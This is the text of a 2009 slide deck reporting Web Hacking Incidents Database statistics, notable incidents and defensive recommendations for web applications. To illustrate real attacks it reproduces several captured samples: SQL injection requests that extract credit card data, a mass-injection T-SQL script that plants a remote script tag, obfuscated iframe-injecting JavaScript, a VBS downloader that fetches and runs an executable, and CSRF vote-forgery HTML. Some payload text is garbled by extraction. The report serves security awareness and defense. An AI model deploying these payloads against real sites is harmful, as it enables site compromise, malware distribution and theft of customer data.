The Web Hacking Incidents Database (WHID): Bi-Annual Report 2009 (January – June)

Presented by
Ryan Barnett
Director of Application Security Research
Breach Security, Inc.
Ryan Barnett

Background

- Breach Security
  - Director of Application Security Research
  - Leader of Breach Security Labs
  - ModSecurity Community Manager
- Previously Chief Security Officer for government client
  - Background as an IDS/Web Security Admin
- Author
  - Preventing Web Attacks with Apache
- Blog
  - http://tacticalwebappsec.blogspot.com
- Email
  - Ryan.Barnett@breach.com
  - rcbarnett@gmail.com
Ryan Barnett

Community Projects

- Open Web Application Security Project (OWASP)
  - Speaker/Instructor
  - Project Leader, ModSecurity Core Rule Set
- Web Application Security Consortium (WASC)
  - Board Member
  - Project Leader, Distributed Open Proxy Honeypots
- The SANS Institute
  - Courseware Developer/Instructor
- Center for Internet Security (CIS)
  - Apache Benchmark Project Leader
Presentation Outline

Topics Covered

- The Challenge of Risk Analysis for Web Applications
- Available Vulnerability Resources
- Available Attack Resources
- The Web Hacking Incidents Database (WHID)
- 2009 Bi-Annual Report
- 2009 Incidents of Interest
- Defensive Recommendations
The Trinity of Trouble

Web Application Security Issues

- Connectivity
  - HTTP(S) is open to just about anyone
  - UFBP (Universal Firewall Bypass Protocol)
- Complexity
  - Multiple Tiers
  - Web Services
  - B2B
  - Web 2.0/Mash-Ups
  - Web application flow diagrams?
- Extensibility
  - New features are constantly being added
Web Application Development

Desired vs. Coded Functionality

- Desired Application Functionality
- Actual Application Functionality

- Desired
- Actual
- Coded Functionality

- Missing/Broken Functionality (Found through Functional Unit Testing)
- Configuration Mistake (Security Testing)
- Unintended Functionality (Security Testing)
Web Application Security

High Risk Equation

- **Threat** - Web Attacks are Crime Driven:
  - Today, most done for money and not for glory.
  - Performed by professionals or for a cause.
- **Vulnerabilities** – Complex and Poorly Code Applications:
  - Priority of features and schedule before security.
  - Developers are not trained in secure coding for the web (Trusting User Input).
- **Impact** - Web Applications Access Sensitive Information:
  - Manipulate critical data
  - Information Disclosures
Web Incidents Are Difficult To Quantify

Only The Tip Of The Iceberg…

- Web Attacks are Stealth:
  - Victims hide breaches.
  - Incidents are not detected.
- Statistics are Skewed:
  - Defacement (visible) and information leakage (regulated) are publicized more than other breaches.
  - Mass attacks are not properly reflected.
  - Merely a data sample - Numbers reported by WHID are statistically insignificant
    - 57 for 2008
    - 44 for 1st half of 2009
- Would it happen to you?
  - How does your organization’s security compare to others in your vertical market?
Web Vulnerabilities

Available Resources

- Databases
  - SANS @Risk, Bugtraq, Mitre CVE
- Statistics
  - WASC Statistics Project
  - OWASP Top 10
- Provides the “vulnerable” Risk component.
  - Skewed towards “easy to find“ vulnerabilities.
  - Are these the most costly (impact)?
  - Are these the same ones that are actively being exploited (risk)?
Web Attacks/Vulnerabilities

**OWASP Top 10 for 2007**

- Based on the CVE vulnerability database.
- Minor expert adjustments (CSRF for example).
- Is it prioritized based on real world attacks? We will see in this presentation.

<table>
<thead>
<tr>
<th>Attack</th>
</tr>
</thead>
<tbody>
<tr>
<td>A1</td>
</tr>
<tr>
<td>A2</td>
</tr>
<tr>
<td>A3</td>
</tr>
<tr>
<td>A4</td>
</tr>
<tr>
<td>A5</td>
</tr>
<tr>
<td>A6</td>
</tr>
<tr>
<td>A7</td>
</tr>
<tr>
<td>A8</td>
</tr>
<tr>
<td>A9</td>
</tr>
<tr>
<td>A10</td>
</tr>
</tbody>
</table>

XSS is up, but probably overrated from a risk perspective.
Includes SQL Injection. Combining many attacks to A2 allowed so many new entries.
The new kid in town. Overhyped but may become a commonly exploited vulnerability in the future.
Web Attacks

Available Resources

- **WASC Distributed Open Proxy Honeypots Project** (www.webappsec.org/projects/honeypots/)
  - Function as conduits for the attacks by running as an open proxy servers.
  - Great resource however it is still limited in scope.
- **Zone-H** (www.zone-h.org)
  - The most comprehensive attack repository, very important for public awareness.
  - Reported by hackers and focus on defacements.
- **Data loss databases** (datalossdb.org)
  - Includes any data loss incidents (lost laptop, etc…)
  - Addresses a larger problem.

<table>
<thead>
<tr>
<th>Attack Method</th>
<th>Total 2007</th>
</tr>
</thead>
<tbody>
<tr>
<td>Attack against the administrator/user (password stealing/sniffing)</td>
<td>141.660</td>
</tr>
<tr>
<td>Shares misconfiguration</td>
<td>67.437</td>
</tr>
<tr>
<td>File Inclusion</td>
<td>61.011</td>
</tr>
<tr>
<td>SQL Injection</td>
<td>35.407</td>
</tr>
<tr>
<td>Access credentials through Man In the Middle attack</td>
<td>28.046</td>
</tr>
<tr>
<td>Other Web Application bug</td>
<td>18.048</td>
</tr>
</tbody>
</table>
The Web Hacking Incidents Database

A Web Application Security Consortium (WASC) Project dedicated to recording web application security related incidents.

http://www.xiom.com/whid
Incidents since 1999
Each incident is classified
  - Attack type
  - Outcome
  - Country of organization attacked
  - Industry segment of organization attacked
  - Country of origin of the attack (if known)
  - Vulnerable Software

Additional information:
  - A unique identifier: WHID 200x-yy
  - Dates of occurrence and reporting
  - Description
  - Internet references
The database includes only
- Publicly disclosed incidents.
- Only web application related incidents.

**Incidents of interest**
- We do not include most mass defacements.
- Defacements of “High Profile” sites are included.

**Criteria**
- Ensure quality and correctness of incidents.
- **Severely limits the number of incidents that gets in.**
Life is good database hacked

Life is good Inc. has notified several customers that a database containing their confidential credit card information was recently breached by intruders.

The Boston-based apparel company said Tuesday that intruders illegally accessed the lifeisgood.com database, which included address and credit card numbers for about 9,250 Life is good customers. Although it is unclear if any data was copied, the illegally accessed information included name, address and credit card numbers. The database did not include date of birth, social security or driver's license numbers.

Company officials said they have put additional security measures in place to prevent future violations. The breach was reported to federal law enforcement authorities who are investigating the incident.
The FTC alleges that, as a result of these failures, a hacker was able to use SQL injection attacks on Life is good’s Web site to access the credit card numbers, expiration dates, and security codes of thousands of consumers.
Web Application Security Trends

January – June 2009
WHID 2008 Summary

Attacked Entity Geography

WHID Interface and Contributors are mainly English speaking so entries are a bit skewed.
WHID 2009 Summary (Jan – June)

Incidents By Attack Methods

- **Manual Targeted Attacks and Mass SQL Injection Bots**
- **Other**
- **DNS Hijacking** 5%
- **Cross-site Request Forgery (CSRF)** 5%
- **Cross-site Scripting (XSS)** 8%
- **Configuration/Admin Error** 8%
- **Insufficient Anti-Automation (DoS/Brute Force)** 10%

Overrated - Easier to find than to exploit for profit.

Hiding compromise details or Inadequate logging

Unknown 11%

10%
WHID 2009 Attack Summary

Trends vs. 2008

- SQL Injection is still the #1 attack vector
  - Percentage, however, dropped from 30% to 19%
  - Mass SQL Injection bots of 2008 are tapering off
- Unknown category is still #2
  - Technical details aren’t usually disclosed except by regulatory entities (FTC) or by the attacker’s themselves (public blog posts/screenshots)
- Content Spoofing attacks have increased dramatically
- Death by a thousand cuts
  - Insufficient Authentication (mistakenly publishing sensitive data)
  - Configuration Mistakes/Administration Errors
SQL Injection Example

Real Multi-Step Manual Attack
SQL Injection Attack
Targeting an ASP Page

Request Details

GET /cart/loginexecute.asp?LoginEmail='%20or%21=convert(int,(select%20@version%2b'/%2b@servername%2b'/%2bdb_name()/%2b'/%2bsystem_user))--sp_password HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*
User-Agent: Microsoft URL Control - 6.00.8862
Host: www.example.com
X-Forwarded-For: 222.252.135.128
Connection: Keep-Alive
Cache-Control: no-cache, bypass-client=222.252.135.128

Attacker targets an ASP page.
Application is expecting an email address in the LoginEmail parameter.
Injection Unexpected Data

Exploiting a Lack of Input Validation

Attacker injects an SQL Query in the LoginEmail parameter.

Request Details

GET /cart/loginexecute.asp?LoginEmail='%'20or%201=convert(int,(select%20@@version%2b/'%'2b@%20
@servername%2b'/%2bdb_name()%2b'/%2bsystem_user))--sp_password HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*
User-Agent: Microsoft URL Control - 6.00.8862
Host: www.example.com
X-Forwarded-For: 222.252.135.128
Connection: Keep-Alive
Cache-Control: no-cache, bypass-client=222.252.135.128
Reconnaissance Query

Enumerating Database Variables

Request Details

GET /cart/loginexecute.asp?LoginEmail='%20or%201=convert(int,(select%20@version%2b'/%2b%2b
@servername%2b'/%2bdb_name()%2b'/%2bsystem_user))--sp_password HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*
User-Agent: Microsoft URL Control - 6.00.8862
Host: www.example.com
X-Forwarded-For: 222.252.135.128
Connection: Keep-Alive
Cache-Control: no-cache, bypass-client=222.252.135.128

Attacker is attempting to enumerate system information to help fine tune their attack.
Under The Radar
Abusing Database Auditing Features

Request Details

GET /cart/loginexecute.asp?LoginEmail='%20or%201=convert(int,(select%20@version%2b'/''%2b@
@servername%2b'/''%2bdb_name()/''%2bsystem_user())|--sp_password HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*
User-Agent: Microsoft URL Control - 6.00.8862
Host: www.example.com
X-Forwarded-For: 222.252.135.128
Connection: Keep-Alive
Cache-Control: no-cache, bypass-client=222.252.135.12

When an MS-SQL DB server receives this string, it will NOT log the transaction even if auditing is enabled.
Response Data
Application Returns Errors

HTTP/1.1 500 Internal Server Error
Content-Length: 598
Content-Type: text/html
Cache-control: private
Set-Cookie: ASPSESSIONIDCCQCSRDQ=EHEPIKBBB1D2D37C3C
Connection: close

Page includes SQL Error text.

Response Details

Attack generates a 500 level status error code.
Response Data

Includes Response From Injected Query

Response Details

HTTP/1.1 500 Internal Server Error
Content-Length: 593
Content-Type: text/html
Cache-control: private
Set-Cookie: ASPSESSIONIDIDCCQCSRDP=ECVQJBDJGKDDDKOOGFQKBBQD; path=/
Connection: close

<font face="Arial" size=2>
Microsoft OLE DB Provider for ODBC Drivers
</font>

<p>
<font face="Arial" size=2>[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 - 8.00.2039 (Int el X86)'.
</font>

.May 3 2005 23:18:38
.Copyright (c) 1988-2003 Microsoft Corporation
.Standard Edition on Windows NT 5.2 (Build 3790: Service Pack 1)
.EXAMPLE_SQL/OPT/OPT2' to a column of data type int.</font>
Final Phase Attack
Targeting Customer Data

Request Details

GET /cart/loginexecute.asp?LoginEmail=%20or%20'1%20and%201%20=%201%20and%20isnull(convert(varchar,OR_OrderDate),'NULL')%2b/'%2bconvert(varchar,isnull(convert(varchar,OR_OrderID),'NULL'))%2b/'%2bconvert(varchar,isnull(convert(varchar,OR_OrderAddress),'NULL'))%2b/'%2bconvert(varchar,isnull(convert(varchar,OR_OrderCity),'NULL'))%2b/'%2bconvert(varchar,isnull(convert(varchar,OR_OrderState),'NULL'))%2b/'%2bconvert(varchar,isnull(convert(varchar,OR_OrderZip),'NULL'))%2b/'%2bconvert(varchar,isnull(convert(varchar,OR_CardName),'NULL'))%2b/'%2bconvert(varchar,isnull(convert(varchar,OR_CardType),'NULL'))%2b/'%2bconvert(varchar,isnull(convert(varchar,OR_CardExpiration),'NULL'))%2b/'%2bconvert(varchar,isnull(convert(varchar,OR_CardSecurityCode),'NULL'))%2b/'%2bconvert(varchar,isnull(convert(varchar,OR_Email),'NULL'))%2b/'%2bconvert(varchar,isnull(convert(varchar,OR_Phone1),'NULL'))%20from%20%20Orders%20%20where%20%20OR_OrderID=47699) --sp_password HTTP/1.1

Attacker sends a new SQL Injection attack that is targeting client Credit Card data.
Response Data

Includes Customer Data

Once again, the SQL Query successfully executed and extracts customer data.
WHID 2009 Outcome Summary

Trends vs. 2008

- Defacements/Planting Malware remains #1
  - Percentage, however, decreased from 41% to 28%
- Information Leakage/Stealing Sensitive Data remains #2
  - Percentage increased from 21% to 26%
- Disinformation jumped to #3
- Monetary Loss and Downtime stayed at #4 and #5
Mass SQL Injection Bots/Planting Malware

Targeting Website Users

- **Threat** – Generic SQL Injection
  - Site value is its large customer-base.

- **Vulnerabilities** – 3 issues
  - Lack of Input Validation
  - Poor Database configuration/SQL construction
  - Lack of proper HTML Output Encoding

- **Impact** – Cross-site Scripting/Malware Installation:
  - Attack uses sites as malware distribution point.
  - May cause database corruption.
The Game Has Changed

*Generic SQL Injection*

- Custom coded web applications provided diversity/uniqueness that prevented mass exploit outbreaks.
- Reconnaissance was required to enumerate app structure.
- Manual probing offered defenders time to react.
- Mass SQL Injection bots inject a script that enumerates and updates databases.
Mass SQL Injection Bots

Attack Workflow

1. Infected computer executes Google search for ".asp" + "parameter=" and sends SQL Injection+Malware exploit to all returned hosts

2. Victim views page – malware downloads

3. Script silently downloads trojan code attacker’s website
Captured SQL Injection Attack

Obscured Payload

GET /target.asp; DECLARE @S NVARCHAR(4000); SET @S=CAST (0x4400450043004C0041005200450020004000540020007600610072006300680061007200280032003500350029002 C004000430020007600610072006300680061007200280032003500350029002 0290020004400450043004C004100520045002

--CUT--

2006C0065005F0043007500720073006F00720020004400450041004C04C004F00430041004C004F00430041005400450020005400200061006
2006C0065005F0043007500720073006F007200%20AS%20NVARCHAR(40 00)); EXEC (@S); --|178|80040e14|
Unclosed_quotation_mark_before_the_character_string_’G;DECL LARE_@S_NVARCHAR(4000); SET_@S=CAST (0x4400450043004C004100520045002000400054002000760061007200 06300680061007200280032003500350029002 C00400043002000
202.101.162.73 HTTP/1.0
Mozilla/3.0+(compatible;+Indy+Library) – 500 15248
DECLARE @T varchar(255), @C varchar(255)
DECLARE Table_Cursor CURSOR FOR
    select a.name, b.name
    from sysobjects a, syscolumns b
    where a.id=b.id
    and a.xtype='u'
    and (b.xtype=99 or b.xtype=35 or b.xtype=231
    or b.xtype=167)
OPEN Table_Cursor FETCH NEXT
FROM Table_Cursor INTO @T, @C

WHILE (@@FETCH_STATUS=0)
BEGIN
    exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar,['+@C+']))
    +''<script src=http://www.qiqigm.com/m.js></script>''
    FETCH NEXT FROM Table_Cursor INTO @T, @C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor
Originally targeted ASP/ASP.Net front-end with MS-SQL back-end

We are seeing evidence of different front-ends being compromised
  - ColdFusion (.cfm)
  - PHP (.php)
  - Java Server Pages (.jsp)
  - Java (.do)

Therefore many websites “thought” they were safe but weren’t...

We are seeing evidence of

ColdFusion (.cfm)
PHP (.php)
Java Server Pages (.jsp)
Java (.do)

Therefore many websites “thought” they were safe but weren’t…

"<script src="http://www0.douhunq.cn/crss/w.js">" inurl:php"
DECLARE @T varchar(255),@C varchar(4000) DECLARE
Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+']
set ['+@C+']=['+@C+']+''''
') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

Mass SQL Injection Bots – Recent Updates
Optimizing the Javascript Code
Mass SQL Injection Bots – Recent Updates

New Attack Vector - Cookies

POST /removed.asp HTTP/1.1
Cookie: start=S
end=Z%3BDECLARE%20@S%20VARCHAR(4000)%3BSET%20@s%3DCAST (0x4444....
Content-Type: application/x-www-form-urlencoded
Host: removed
Content-Length: 3
Expect: 100-continue
Connection: Keep-Alive

- Are you logging full request headers that include Cookie data?
Defacement + Malware Example

WASC Distributed Open Proxy Honeypot Project

Hacked by 0x90

Welcome to the Jungle!

WWW.0x90.COM.AR

Contact: Guns@0x90.com.ar
Appended Data

Obfuscated Javascript

```javascript
<script language='Javascript'>
<!--
document.write(unescape('%3C%73%63%72%69%70%74%3E%0D%0A%2D%2D%7B%0D%0A%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%75%6E%65%73%63%61%70%65%28%22%25%33%45%25%30%44%25%30%41%25%33%43%25%32%2D%2D%25%30%44%25%30%41%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%75%6E%65%73%63%61%70%65%28%22%29%29%3B%0D%0A%2F%2F%2D%3E%0D%0A%3C%73%63%72%69%70%74%3E'));
//-->
</script>
```
<!--
document.write(unescape("<iframe width="0" height="0"
src="http://royy.byethost7.com/url.htm"
scrolling="no" frameborder="0"></iframe>
<iframe width="0" height="0" src="bicho.wml"
scrolling="no" frameborder="0"></iframe>
<iframe width="0" height="0" src="bicho.htm"
scrolling="no" frameborder="0"></iframe>
<iframe width="0" height="0" src="embed.htm"
scrolling="no" frameborder="0"></iframe>"));
//-->
bicho.htm

Attempted VBS Malware Install

tf = fso.CreateTextFile(cSystemDir + "runit.vbs", true);
//tf = fso.CreateTextFile("c:\runit.vbs", true);
tf.WriteLine("On Error Resume Next");
tf.WriteLine("Set xml = CreateObject("Microsoft.XMLHTTP")");
tf.WriteLine("xml.Open \"GET\", URL, False");
tf.WriteLine("xml.Send");
tf.WriteLine("set oStream = createobject("Adodb.Stream")");
tf.WriteLine("oStream.type = 1");
tf.WriteLine("oStream.open");
tf.WriteLine("oStream.write xml.responseTextBody");
tf.WriteLine("oStream.savetofile \"" + cSystemDir + "xD.exe\", 1");
tf.WriteLine("oStream.close");
tf.WriteLine("set oStream = nothing");
tf.WriteLine("Set xml = Nothing");
tf.WriteLine("Set oShell = createobject("WScript.Shell")");
tf.WriteLine("oShell.run \"" + cSystemDir + "xD.exe\", 1, false");
tf.Close();
objShell.run("\"" + cSystemDir + "runit.vbs\"");
embed.htm

Attempted ActiveX Malware Install

<object name="x"
classid="uuid:12345678-1234-1234-1234-1234-1234-1234-123456789012"
</object>
WHID 2009 Summary

Incidents By Attacked Organization Type

- Finance: 5%
- Education: 5%
- Social/Web 2.0: 19%
- Media: 16%
- Retail: 12%
- Technology: 12%
- Internet: 12%
- Government/Politics: 12%
- Ente...

Huge jump from 2008 – mainly due to attacks against Facebook/Twitter, etc..

Was #3 in 2008 Being targeted less or is security better?

Will always be high on WHID due to PCI/Regulations
2009 Incidents of Interest

Finance/Retail Attack Methodology
Unu vs. Anti-Virus Vendors
Twitter Attacks
Time’s Most Influential Poll
They identify Web sites that are vulnerable to SQL injection. They appear to target MSSQL only.

They use "xp_cmdshell", an extended procedure installed by default on MSSQL, to download their hacker tools to the compromised MSSQL server.

They obtain valid Windows credentials by using fgdump or a similar tool.

They install network "sniffers" to identify card data and systems involved in processing credit card transactions.

They install backdoors that "beacon" periodically to their command and control servers, allowing surreptitious access to the compromised networks.

They target databases, Hardware Security Modules (HSMs), and processing applications in an effort to obtain credit card data or brute-force ATM PINs.

They use WinRAR to compress the information they pilfer from the compromised networks.

Unu vs. Anti-Virus Vendors

Romanian Attacker Launches Targeted Attacks

<table>
<thead>
<tr>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>First reported:</td>
<td>Friday, January 05, 1900, 6 (GMT +02:00)</td>
</tr>
<tr>
<td>Last reported:</td>
<td>Monday, July 24, 2006, 00:57:04 (GMT +02:00)</td>
</tr>
<tr>
<td>Trend last 24 h:</td>
<td></td>
</tr>
</tbody>
</table>

Twitter Attacks

**Brute Forcing Login Credentials**

- Insufficient Anti-Automation
  - Twitter does not block repetitive login failures
- Attacker compromised an Admin account that had a tool which allowed password resets for other accounts
- Compromised 33 accounts including President Obama’s
- 3 different WHID Events

---

**WHID 2009-2: Twitter accounts of the famous hacked (Updated)**

Updated: 11 January 2009

<table>
<thead>
<tr>
<th>Attack Information</th>
</tr>
</thead>
<tbody>
<tr>
<td>WHID ID: 2009-2</td>
</tr>
<tr>
<td>Date Occurred: 5 Jan 2009</td>
</tr>
<tr>
<td>Attack Method: Brute Force</td>
</tr>
<tr>
<td>Insufficient Authentication</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Outcome Information</th>
</tr>
</thead>
<tbody>
<tr>
<td>Outcome: Defacement</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Target Information</th>
</tr>
</thead>
<tbody>
<tr>
<td>Attacked Entity Field: Web 2.0</td>
</tr>
<tr>
<td>Attacked Entity Geography: USA</td>
</tr>
<tr>
<td>Attacked System’s Technology: Administration Tool</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Source Information</th>
</tr>
</thead>
<tbody>
<tr>
<td>Attack Source Geography: USA</td>
</tr>
</tbody>
</table>
Twitter Attacks

CSRF Attacking JSON Feeds

WHID 2009-4: Twitter Personal Info CSRF

Object.prototype.__defineSetter__(user, function(obj){
for(var i in obj) {alert(i + '=' + obj[i]);}
});

Twitter Name: Courtney C

• Following
• Profile sidebar fill color=000000
• Followers count=19
• Description=Short, Fun, Spontaneous, Loving, Silly, Musical, Happy, Me :
• Profile image URL=http://s3.amazonaws.com/twitter_production/profile_images/228672477/Paint
• Statuses count=165
• Friends count=113
• Profile sidebar border color=ffffff
• Favourites count
• Created at=Thu Apr 09 00:36:15 +0000 2009
• Name=Courtney C
• Profile text color=000daa
• Protected
• Entity field: Web 2.0
• Entity Geography: USA
• Profile background image URL=http://s3.amazonaws.com/twitter_production/profile_background_images/19037839/Black_Keys.jpg
• Time zone=Pacific Time (US & Canada)
• Profile link color=4f5659
• Profile background tile=true
• Profile background color=1A1B1F
• Location=USA
• Id=29869995
• User
Twitter Attacks

Double Clickjacking Worm – Forcing a Tweet
Twitter Attacks
XSS/CSRF Worm – Updating Profiles

WHID 2009-37: Twitter XSS/CSRF worm series
(Updated)

- **Updated:** 19 April 2009
- **Attack Information**
  - WHID ID: '2009-37'
  - Date Occurred: 11 Apr 2009
  - Attack Method: Cross Site Request Forgery (CSRF)
    - Cross Site Scripting (XSS)

- **Outcome Information**
  - Outcome: Disinformation
  - Worm

- **Target Information**
  - Attacked Entity Field: Web 2.0

- **Source Information**
  - Attack Source Geography: USA
### Time’s Most Influential Poll Abuse

**Insufficient Anti-Automation**

<table>
<thead>
<tr>
<th>Rank</th>
<th>Name</th>
<th>Avg. Rating</th>
<th>Total Vote</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>moot</td>
<td>87</td>
<td>12,939,521</td>
</tr>
<tr>
<td>2</td>
<td>Anwar Ibrahim</td>
<td>42</td>
<td>1,632,411</td>
</tr>
<tr>
<td>3</td>
<td>Rick Warren</td>
<td>42</td>
<td>1,290,988</td>
</tr>
<tr>
<td>4</td>
<td>Baitullah Mehsud</td>
<td>40</td>
<td>1,281,854</td>
</tr>
<tr>
<td>5</td>
<td>Larry Brilliant</td>
<td>39</td>
<td>1,425,061</td>
</tr>
<tr>
<td>6</td>
<td>Eric Holder</td>
<td>38</td>
<td>1,215,008</td>
</tr>
<tr>
<td>7</td>
<td>Carlos Slim</td>
<td>37</td>
<td>1,311,525</td>
</tr>
<tr>
<td>8</td>
<td>Angela Merkel</td>
<td>37</td>
<td>1,069,787</td>
</tr>
<tr>
<td>9</td>
<td>Kobe Bryant</td>
<td>36</td>
<td>1,195,005</td>
</tr>
<tr>
<td>10</td>
<td>Evo Morales</td>
<td>34</td>
<td>1,045,245</td>
</tr>
<tr>
<td>11</td>
<td>Alexander Lebedev</td>
<td>34</td>
<td>640,115</td>
</tr>
<tr>
<td>12</td>
<td>Lil’ Wayne</td>
<td>33</td>
<td>637,426</td>
</tr>
<tr>
<td>13</td>
<td>Sheikh Ahmed bin Zayed Al Nahyan</td>
<td>32</td>
<td>622,054</td>
</tr>
<tr>
<td>14</td>
<td>Odell Barnes</td>
<td>31</td>
<td>621,182</td>
</tr>
<tr>
<td>15</td>
<td>Tina Fey</td>
<td>30</td>
<td>646,446</td>
</tr>
<tr>
<td>16</td>
<td>Hu Jintao</td>
<td>29</td>
<td>614,359</td>
</tr>
<tr>
<td>17</td>
<td>Eric Cantor</td>
<td>28</td>
<td>580,189</td>
</tr>
<tr>
<td>18</td>
<td>Gamal Mubarak</td>
<td>27</td>
<td>580,389</td>
</tr>
<tr>
<td>19</td>
<td>Ali al-Naimi</td>
<td>26</td>
<td>627,786</td>
</tr>
<tr>
<td>20</td>
<td>Muqtada al-Sadr</td>
<td>25</td>
<td>564,094</td>
</tr>
<tr>
<td>21</td>
<td>Elizabeth Warren</td>
<td>24</td>
<td>559,800</td>
</tr>
<tr>
<td>22</td>
<td>Manny Pacquiao</td>
<td>23</td>
<td>9,382,234</td>
</tr>
</tbody>
</table>
Time’s Most Influential Poll Abuse

Auto-Voter SPAM URLs

- Target Poll URL
  http://www.timepolls.com/contentpolls/Vote.do?pollName=time100_2009&id=1883924&rating=1

- Auto-voter SPAM link URL

- Auto-voter page display
  Down voting: 1883924 to 1 % influence 200 times per page load.

- Time’s response – implement an MD5 hash key
Time’s Most Influential Poll Abuse

CSRF Attacks – Includes Md5 Hash Key

<html>
<head>
<title></title>
</head>
<body>
<img src="http://www.timepolls.com/hppolls/votejson.do?callback=processPoll&id=335&choice=1&key=a4f7d95082b03e99586729c5de257e7b" />
<img src="http://www.timepolls.com/hppolls/votejson.do?callback=processPoll&id=335&choice=1&key=a4f7d95082b03e99586729c5de257e7b" />
...
</body>
</html>
Time’s Most Influential Poll Abuse

Auto-Voter - Mooter

The remaining 12/sec were used to down vote moot’s opponents

Use of Open Proxy Servers

Time attempted rate-limit enforcement – 1 up vote allowed every 13/sec
Defensive Recommendations

Web Application Situational Awareness
SITUATIONAL AWARENESS

KNOWING THE DIFFERENCE BETWEEN A LUNCH-TIME DIVE AND BEING LUNCH
Web Application Integrity

Critical Situational Awareness Questions

- Can you detect when web clients are acting abnormally?
- Can you correlate web activity to the responsible user?
- Can you identify if your web application is not functioning properly?
- Can you identify if/when/where your application is leaking sensitive information?
- Can you detect new or mis-configured web application resources?
- Does your operations, security and development staff utilize the same operational data to troubleshoot problems and remediate identified vulnerabilities?
- Can you quickly conduct proper incident response to confirm events?
Verizon 2008 Data Breach Report

Situational Awareness Failures

Point of entry to compromise:
- Months: 7%
- Years: 0%
- Minutes: 11%
- Weeks: 18%
- Hours: 36%
- Days: 28%

Compromise to discovery:
- Years: 2%
- Minutes: 0%
- Hours: 3%
- Days: 14%
- Weeks: 18%
- Months: 62%

Discovery to mitigation:
- Years: 1%
- Minutes: 0%
- Hours: 10%
- Days: 14%
- Weeks: 48%
- Months: 27%
SDLC

Data Sharing Across Business Units

Development
Secure Coding and Identification of coding bugs

Operations
Virtual Patching/Report App Defects

InfoSec
Automated/manual scanning and pentesting
CWE/SANS Top 25 Worst Programming Errors

A Collaborative Effort

- Sponsored by:
  - National Cyber Security Division (DHS)
  - Information Assurance Division (NSA)
- Group of security experts from 35 organizations
- Academia
  - Purdue, Univ. of Cal., N. Kentucky Univ.
- Government
  - CERT, NSA, DHS
- Software Vendors
  - Microsoft, Oracle, Red Hat, Apple
- Security Vendors
  - Breach Security, Veracode, Fortify, Cigital
Top 25 Errors

Main Goals

- Raise awareness for developers
  - Technical details are the key
- Help universities to teach secure coding
  - Oracle CSO sent a letter to Universities recommending secure coding classes
- Empower customers who want to ask for more secure software
  - [http://www.sans.org/appseccontract/](http://www.sans.org/appseccontract/)
- Provide a starting point for in-house software shops to measure their own progress
  - A framework for baselining and industry comparisons
Top 25 Errors

Three Main Categories

- Insecure Interaction Between Components (9 errors)
  - CWE-20: Improper Input Validation
  - CWE-116: Improper Encoding or Escaping of Output
  - CWE-89: Failure to Preserve SQL Query Structure (aka ‘SQL Injection’)
  - CWE-79: Failure to Preserve Web Page Structure (aka ‘Cross-site Scripting’)
  - CWE-78: Failure to Preserve OS Command Structure (aka ‘OS Command Injection’)
  - CWE-319: Cleartext Transmission of Sensitive Information
  - CWE-352: Cross-site Request Forgery (CSRF)
  - CWE-362: Race Condition (Brute Force Attacks)
  - CWE-209: Error Message Information Leakage

- Risky Resource Management (9 errors)

- Porous Defenses (7 errors)
OWASP ESAPI

Enterprise Security API

Custom Enterprise Web Application

Enterprise Security API

Authenticator
User
AccessController
AccessReferenceMap
Validator
Encoder
HTTPUtilities
Encryptor
EncryptedProperties
Randomizer
Exception Handling
Logger
IntrusionDetector
SecurityConfiguration

Existing Enterprise Security Services/Libraries
Web Application Firewalls (WAF)

WASC Definition

"An intermediary device, sitting between a web-client and a web server, analyzing OSI Layer-7 messages for violations in the programmed security policy. A web application firewall is used as a security device protecting the web server from attack."

- The term “WAF” is not the ideal name and is a limiting label
  - Can be used for HTTP auditing and/or identification of Application Defects and Information Leakages
- The “Firewall” part of the name usually leads people to assume -
  - That it is inline (as a Gateway) which is but one of many deployment options
  - Implies a “blocking” action however prevention actions are configured based on policy settings and in some cases are set to log only.
Scanner/WAF Integration

Virtual Patching

Sentinel finds a vulnerability in the customer’s Web applications. With “virtual patching,” a vulnerability can be fixed via a Web application firewall.

The linkage between WhiteHat Sentinel and the WAF completes the security loop from vulnerability checking and detection to remediation.

Sentinel will automatically create ModSecurity Rules to block attempts to exploit the vulnerability.
OWASP Securing WebGoat with ModSecurity

Virtual Patching Challenge
Questions?

Work - Ryan.Barnett@breach.com

Personal – Rcbarnett@gmail.com

Blog - http://tacticalwebappsec.blogspot.com/

Further information at the WHID web site:
http://www.xiom.com/whid